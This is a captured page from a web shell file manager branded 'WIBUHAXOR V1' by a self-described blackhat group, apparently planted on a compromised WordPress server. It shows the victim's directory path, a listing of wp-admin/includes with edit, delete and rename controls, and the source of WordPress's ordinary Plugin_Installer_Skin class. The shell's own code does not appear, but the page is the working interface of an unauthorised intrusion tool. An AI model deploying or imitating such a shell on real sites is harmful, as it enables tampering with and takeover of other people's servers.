-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
public_html
/
wp-admin
/
includes
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
962678
--
NONE
.htaccess
0.231KB
Edit File
Delete File
Rename
admin-filters.php
7.846KB
Edit File
Delete File
Rename
admin.php
3.543KB
Edit File
Delete File
Rename
class-automatic-upgrader-skin.php
3.577KB
Edit File
Delete File
Rename
class-bulk-plugin-upgrader-skin.php
2.529KB
Edit File
Delete File
Rename
class-bulk-theme-upgrader-skin.php
2.598KB
Edit File
Delete File
Rename
class-bulk-upgrader-skin.php
6.595KB
Edit File
Delete File
Rename
class-core-upgrader.php
14.835KB
Edit File
Delete File
Rename
class-custom-background.php
21.143KB
Edit File
Delete File
Rename
class-file-upload-upgrader.php
4.065KB
Edit File
Delete File
Rename
class-ftp-pure.php
5.299KB
Edit File
Delete File
Rename
class-ftp-sockets.php
8.28KB
Edit File
Delete File
Rename
class-ftp.php
26.729KB
Edit File
Delete File
Rename
class-language-pack-upgrader-skin.php
2.803KB
Edit File
Delete File
Rename
class-language-pack-upgrader.php
15.196KB
Edit File
Delete File
Rename
class-pclzip.php
192.085KB
Edit File
Delete File
Rename
class-plugin-installer-skin.php
11.771KB
Edit File
Delete File
Rename
class-plugin-upgrader-skin.php
3.201KB
Edit File
Delete File
Rename
class-plugin-upgrader.php
22.698KB
Edit File
Delete File
Rename
class-theme-installer-skin.php
12.444KB
Edit File
Delete File
Rename
class-theme-upgrader-skin.php
4.078KB
Edit File
Delete File
Rename
class-theme-upgrader.php
26.076KB
Edit File
Delete File
Rename
class-walker-category-checklist.php
4.972KB
Edit File
Delete File
Rename
class-walker-nav-menu-checklist.php
5.496KB
Edit File
Delete File
Rename
class-walker-nav-menu-edit.php
13.848KB
Edit File
Delete File
Rename
class-wp-ajax-upgrader-skin.php
4.095KB
Edit File
Delete File
Rename
class-wp-application-passwords-list-table.php
6.786KB
Edit File
Delete File
Rename
class-wp-automatic-updater.php
60.451KB
Edit File
Delete File
Rename
class-wp-comments-list-table.php
32.281KB
Edit File
Delete File
Rename
class-wp-community-events.php
18.329KB
Edit File
Delete File
Rename
class-wp-debug-data.php
65.058KB
Edit File
Delete File
Rename
class-wp-filesystem-base.php
23.838KB
Edit File
Delete File
Rename
class-wp-filesystem-direct.php
17.718KB
Edit File
Delete File
Rename
class-wp-filesystem-ftpext.php
22.56KB
Edit File
Delete File
Rename
class-wp-filesystem-ftpsockets.php
18.046KB
Edit File
Delete File
Rename
class-wp-filesystem-ssh2.php
22.764KB
Edit File
Delete File
Rename
class-wp-importer.php
7.323KB
Edit File
Delete File
Rename
class-wp-internal-pointers.php
4.47KB
Edit File
Delete File
Rename
class-wp-links-list-table.php
9.024KB
Edit File
Delete File
Rename
class-wp-list-table-compat.php
1.462KB
Edit File
Delete File
Rename
class-wp-list-table.php
51.666KB
Edit File
Delete File
Rename
class-wp-media-list-table.php
25.292KB
Edit File
Delete File
Rename
class-wp-ms-sites-list-table.php
21.503KB
Edit File
Delete File
Rename
class-wp-ms-themes-list-table.php
27.771KB
Edit File
Delete File
Rename
class-wp-ms-users-list-table.php
15.351KB
Edit File
Delete File
Rename
class-wp-plugin-install-list-table.php
24.205KB
Edit File
Delete File
Rename
class-wp-plugins-list-table.php
56.432KB
Edit File
Delete File
Rename
class-wp-post-comments-list-table.php
1.419KB
Edit File
Delete File
Rename
class-wp-posts-list-table.php
62.711KB
Edit File
Delete File
Rename
class-wp-privacy-data-export-requests-list-table.php
5.433KB
Edit File
Delete File
Rename
class-wp-privacy-data-removal-requests-list-table.php
5.581KB
Edit File
Delete File
Rename
class-wp-privacy-requests-table.php
14.058KB
Edit File
Delete File
Rename
class-wp-screen.php
36.452KB
Edit File
Delete File
Rename
class-wp-site-health-auto-updates.php
14.001KB
Edit File
Delete File
Rename
class-wp-site-icon.php
6.264KB
Edit File
Delete File
Rename
class-wp-terms-list-table.php
20.686KB
Edit File
Delete File
Rename
class-wp-theme-install-list-table.php
15.233KB
Edit File
Delete File
Rename
class-wp-themes-list-table.php
10.106KB
Edit File
Delete File
Rename
class-wp-upgrader-skin.php
6.943KB
Edit File
Delete File
Rename
class-wp-upgrader-skins.php
1.442KB
Edit File
Delete File
Rename
class-wp-upgrader.php
46.884KB
Edit File
Delete File
Rename
class-wp-users-list-table.php
18.611KB
Edit File
Delete File
Rename
comment.php
5.978KB
Edit File
Delete File
Rename
credits.php
5.732KB
Edit File
Delete File
Rename
dashboard.php
68.076KB
Edit File
Delete File
Rename
deprecated.php
40.797KB
Edit File
Delete File
Rename
edit-tag-messages.php
1.443KB
Edit File
Delete File
Rename
error_log
39.507KB
Edit File
Delete File
Rename
export.php
24.966KB
Edit File
Delete File
Rename
file.php
95.868KB
Edit File
Delete File
Rename
image-edit.php
42.854KB
Edit File
Delete File
Rename
image.php
41.664KB
Edit File
Delete File
Rename
import.php
6.462KB
Edit File
Delete File
Rename
index.php
0KB
Edit File
Delete File
Rename
list-table.php
3.713KB
Edit File
Delete File
Rename
media.php
116.317KB
Edit File
Delete File
Rename
menu.php
9.393KB
Edit File
Delete File
Rename
meta-boxes.php
64.527KB
Edit File
Delete File
Rename
misc.php
44.71KB
Edit File
Delete File
Rename
ms-admin-filters.php
1.266KB
Edit File
Delete File
Rename
ms-deprecated.php
3.682KB
Edit File
Delete File
Rename
ms.php
33.514KB
Edit File
Delete File
Rename
nav-menu.php
47.892KB
Edit File
Delete File
Rename
network.php
26.363KB
Edit File
Delete File
Rename
noop.php
1.121KB
Edit File
Delete File
Rename
options.php
4.151KB
Edit File
Delete File
Rename
plugin-install.php
38.549KB
Edit File
Delete File
Rename
plugin.php
90.747KB
Edit File
Delete File
Rename
post.php
80.276KB
Edit File
Delete File
Rename
privacy-tools.php
32.678KB
Edit File
Delete File
Rename
revision.php
16.179KB
Edit File
Delete File
Rename
schema.php
41.862KB
Edit File
Delete File
Rename
screen.php
6.229KB
Edit File
Delete File
Rename
taxonomy.php
8.227KB
Edit File
Delete File
Rename
template.php
96.22KB
Edit File
Delete File
Rename
theme-install.php
6.826KB
Edit File
Delete File
Rename
theme.php
46.623KB
Edit File
Delete File
Rename
translation-install.php
10.815KB
Edit File
Delete File
Rename
update-core.php
68.502KB
Edit File
Delete File
Rename
update.php
33.63KB
Edit File
Delete File
Rename
upgrade.php
112.091KB
Edit File
Delete File
Rename
user.php
22.98KB
Edit File
Delete File
Rename
widgets.php
10.656KB
Edit File
Delete File
Rename
<?php /** * Upgrader API: Plugin_Installer_Skin class * * @package WordPress * @subpackage Upgrader * @since 4.6.0 */ /** * Plugin Installer Skin for WordPress Plugin Installer. * * @since 2.8.0 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php. * * @see WP_Upgrader_Skin */ class Plugin_Installer_Skin extends WP_Upgrader_Skin { public $api; public $type; public $url; public $overwrite; private $is_downgrading = false; /** * Constructor. * * Sets up the plugin installer skin. * * @since 2.8.0 * * @param array $args */ public function __construct( $args = array() ) { $defaults = array( 'type' => 'web', 'url' => '', 'plugin' => '', 'nonce' => '', 'title' => '', 'overwrite' => '', ); $args = wp_parse_args( $args, $defaults ); $this->type = $args['type']; $this->url = $args['url']; $this->api = isset( $args['api'] ) ? $args['api'] : array(); $this->overwrite = $args['overwrite']; parent::__construct( $args ); } /** * Performs an action before installing a plugin. * * @since 2.8.0 */ public function before() { if ( ! empty( $this->api ) ) { $this->upgrader->strings['process_success'] = sprintf( $this->upgrader->strings['process_success_specific'], $this->api->name, $this->api->version ); } } /** * Hides the `process_failed` error when updating a plugin by uploading a zip file. * * @since 5.5.0 * * @param WP_Error $wp_error WP_Error object. * @return bool True if the error should be hidden, false otherwise. */ public function hide_process_failed( $wp_error ) { if ( 'upload' === $this->type && '' === $this->overwrite && $wp_error->get_error_code() === 'folder_exists' ) { return true; } return false; } /** * Performs an action following a plugin install. * * @since 2.8.0 */ public function after() { // Check if the plugin can be overwritten and output the HTML. if ( $this->do_overwrite() ) { return; } $plugin_file = $this->upgrader->plugin_info(); $install_actions = array(); $from = isset( $_GET['from'] ) ? wp_unslash( $_GET['from'] ) : 'plugins'; if ( 'import' === $from ) { $install_actions['activate_plugin'] = sprintf( '<a class="button button-primary" href="%s" target="_parent">%s</a>', wp_nonce_url( 'plugins.php?action=activate&from=import&plugin=' . urlencode( $plugin_file ), 'activate-plugin_' . $plugin_file ), __( 'Activate Plugin & Run Importer' ) ); } elseif ( 'press-this' === $from ) { $install_actions['activate_plugin'] = sprintf( '<a class="button button-primary" href="%s" target="_parent">%s</a>', wp_nonce_url( 'plugins.php?action=activate&from=press-this&plugin=' . urlencode( $plugin_file ), 'activate-plugin_' . $plugin_file ), __( 'Activate Plugin & Go to Press This' ) ); } else { $install_actions['activate_plugin'] = sprintf( '<a class="button button-primary" href="%s" target="_parent">%s</a>', wp_nonce_url( 'plugins.php?action=activate&plugin=' . urlencode( $plugin_file ), 'activate-plugin_' . $plugin_file ), __( 'Activate Plugin' ) ); } if ( is_multisite() && current_user_can( 'manage_network_plugins' ) ) { $install_actions['network_activate'] = sprintf( '<a class="button button-primary" href="%s" target="_parent">%s</a>', wp_nonce_url( 'plugins.php?action=activate&networkwide=1&plugin=' . urlencode( $plugin_file ), 'activate-plugin_' . $plugin_file ), _x( 'Network Activate', 'plugin' ) ); unset( $install_actions['activate_plugin'] ); } if ( 'import' === $from ) { $install_actions['importers_page'] = sprintf( '<a href="%s" target="_parent">%s</a>', admin_url( 'import.php' ), __( 'Go to Importers' ) ); } elseif ( 'web' === $this->type ) { $install_actions['plugins_page'] = sprintf( '<a href="%s" target="_parent">%s</a>', self_admin_url( 'plugin-install.php' ), __( 'Go to Plugin Installer' ) ); } elseif ( 'upload' === $this->type && 'plugins' === $from ) { $install_actions['plugins_page'] = sprintf( '<a href="%s">%s</a>', self_admin_url( 'plugin-install.php' ), __( 'Go to Plugin Installer' ) ); } else { $install_actions['plugins_page'] = sprintf( '<a href="%s" target="_parent">%s</a>', self_admin_url( 'plugins.php' ), __( 'Go to Plugins page' ) ); } if ( ! $this->result || is_wp_error( $this->result ) ) { unset( $install_actions['activate_plugin'], $install_actions['network_activate'] ); } elseif ( ! current_user_can( 'activate_plugin', $plugin_file ) || is_plugin_active( $plugin_file ) ) { unset( $install_actions['activate_plugin'] ); } /** * Filters the list of action links available following a single plugin installation. * * @since 2.7.0 * * @param string[] $install_actions Array of plugin action links. * @param object $api Object containing WordPress.org API plugin data. Empty * for non-API installs, such as when a plugin is installed * via upload. * @param string $plugin_file Path to the plugin file relative to the plugins directory. */ $install_actions = apply_filters( 'install_plugin_complete_actions', $install_actions, $this->api, $plugin_file ); if ( ! empty( $install_actions ) ) { $this->feedback( implode( ' ', (array) $install_actions ) ); } } /** * Checks if the plugin can be overwritten and outputs the HTML for overwriting a plugin on upload. * * @since 5.5.0 * * @return bool Whether the plugin can be overwritten and HTML was outputted. */ private function do_overwrite() { if ( 'upload' !== $this->type || ! is_wp_error( $this->result ) || 'folder_exists' !== $this->result->get_error_code() ) { return false; } $folder = $this->result->get_error_data( 'folder_exists' ); $folder = ltrim( substr( $folder, strlen( WP_PLUGIN_DIR ) ), '/' ); $current_plugin_data = false; $all_plugins = get_plugins(); foreach ( $all_plugins as $plugin => $plugin_data ) { if ( strrpos( $plugin, $folder ) !== 0 ) { continue; } $current_plugin_data = $plugin_data; } $new_plugin_data = $this->upgrader->new_plugin_data; if ( ! $current_plugin_data || ! $new_plugin_data ) { return false; } echo '<h2 class="update-from-upload-heading">' . esc_html__( 'This plugin is already installed.' ) . '</h2>'; $this->is_downgrading = version_compare( $current_plugin_data['Version'], $new_plugin_data['Version'], '>' ); $rows = array( 'Name' => __( 'Plugin name' ), 'Version' => __( 'Version' ), 'Author' => __( 'Author' ), 'RequiresWP' => __( 'Required WordPress version' ), 'RequiresPHP' => __( 'Required PHP version' ), ); $table = '<table class="update-from-upload-comparison"><tbody>'; $table .= '<tr><th></th><th>' . esc_html_x( 'Current', 'plugin' ) . '</th>'; $table .= '<th>' . esc_html_x( 'Uploaded', 'plugin' ) . '</th></tr>'; $is_same_plugin = true; // Let's consider only these rows. foreach ( $rows as $field => $label ) { $old_value = ! empty( $current_plugin_data[ $field ] ) ? (string) $current_plugin_data[ $field ] : '-'; $new_value = ! empty( $new_plugin_data[ $field ] ) ? (string) $new_plugin_data[ $field ] : '-'; $is_same_plugin = $is_same_plugin && ( $old_value === $new_value ); $diff_field = ( 'Version' !== $field && $new_value !== $old_value ); $diff_version = ( 'Version' === $field && $this->is_downgrading ); $table .= '<tr><td class="name-label">' . $label . '</td><td>' . wp_strip_all_tags( $old_value ) . '</td>'; $table .= ( $diff_field || $diff_version ) ? '<td class="warning">' : '<td>'; $table .= wp_strip_all_tags( $new_value ) . '</td></tr>'; } $table .= '</tbody></table>'; /** * Filters the compare table output for overwriting a plugin package on upload. * * @since 5.5.0 * * @param string $table The output table with Name, Version, Author, RequiresWP, and RequiresPHP info. * @param array $current_plugin_data Array with current plugin data. * @param array $new_plugin_data Array with uploaded plugin data. */ echo apply_filters( 'install_plugin_overwrite_comparison', $table, $current_plugin_data, $new_plugin_data ); $install_actions = array(); $can_update = true; $blocked_message = '<p>' . esc_html__( 'The plugin cannot be updated due to the following:' ) . '</p>'; $blocked_message .= '<ul class="ul-disc">'; $requires_php = isset( $new_plugin_data['RequiresPHP'] ) ? $new_plugin_data['RequiresPHP'] : null; $requires_wp = isset( $new_plugin_data['RequiresWP'] ) ? $new_plugin_data['RequiresWP'] : null; if ( ! is_php_version_compatible( $requires_php ) ) { $error = sprintf( /* translators: 1: Current PHP version, 2: Version required by the uploaded plugin. */ __( 'The PHP version on your server is %1$s, however the uploaded plugin requires %2$s.' ), PHP_VERSION, $requires_php ); $blocked_message .= '<li>' . esc_html( $error ) . '</li>'; $can_update = false; } if ( ! is_wp_version_compatible( $requires_wp ) ) { $error = sprintf( /* translators: 1: Current WordPress version, 2: Version required by the uploaded plugin. */ __( 'Your WordPress version is %1$s, however the uploaded plugin requires %2$s.' ), esc_html( wp_get_wp_version() ), $requires_wp ); $blocked_message .= '<li>' . esc_html( $error ) . '</li>'; $can_update = false; } $blocked_message .= '</ul>'; if ( $can_update ) { if ( $this->is_downgrading ) { $warning = sprintf( /* translators: %s: Documentation URL. */ __( 'You are uploading an older version of a current plugin. You can continue to install the older version, but be sure to <a href="%s">back up your database and files</a> first.' ), __( 'https://developer.wordpress.org/advanced-administration/security/backup/' ) ); } else { $warning = sprintf( /* translators: %s: Documentation URL. */ __( 'You are updating a plugin. Be sure to <a href="%s">back up your database and files</a> first.' ), __( 'https://developer.wordpress.org/advanced-administration/security/backup/' ) ); } echo '<p class="update-from-upload-notice">' . $warning . '</p>'; $overwrite = $this->is_downgrading ? 'downgrade-plugin' : 'update-plugin'; $install_actions['overwrite_plugin'] = sprintf( '<a class="button button-primary update-from-upload-overwrite" href="%s" target="_parent">%s</a>', wp_nonce_url( add_query_arg( 'overwrite', $overwrite, $this->url ), 'plugin-upload' ), _x( 'Replace current with uploaded', 'plugin' ) ); } else { echo $blocked_message; } $cancel_url = add_query_arg( 'action', 'upload-plugin-cancel-overwrite', $this->url ); $install_actions['plugins_page'] = sprintf( '<a class="button" href="%s">%s</a>', wp_nonce_url( $cancel_url, 'plugin-upload-cancel-overwrite' ), __( 'Cancel and go back' ) ); /** * Filters the list of action links available following a single plugin installation failure * when overwriting is allowed. * * @since 5.5.0 * * @param string[] $install_actions Array of plugin action links. * @param object $api Object containing WordPress.org API plugin data. * @param array $new_plugin_data Array with uploaded plugin data. */ $install_actions = apply_filters( 'install_plugin_overwrite_actions', $install_actions, $this->api, $new_plugin_data ); if ( ! empty( $install_actions ) ) { printf( '<p class="update-from-upload-expired hidden">%s</p>', __( 'The uploaded file has expired. Please go back and upload it again.' ) ); echo '<p class="update-from-upload-actions">' . implode( ' ', (array) $install_actions ) . '</p>'; } return true; } }
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat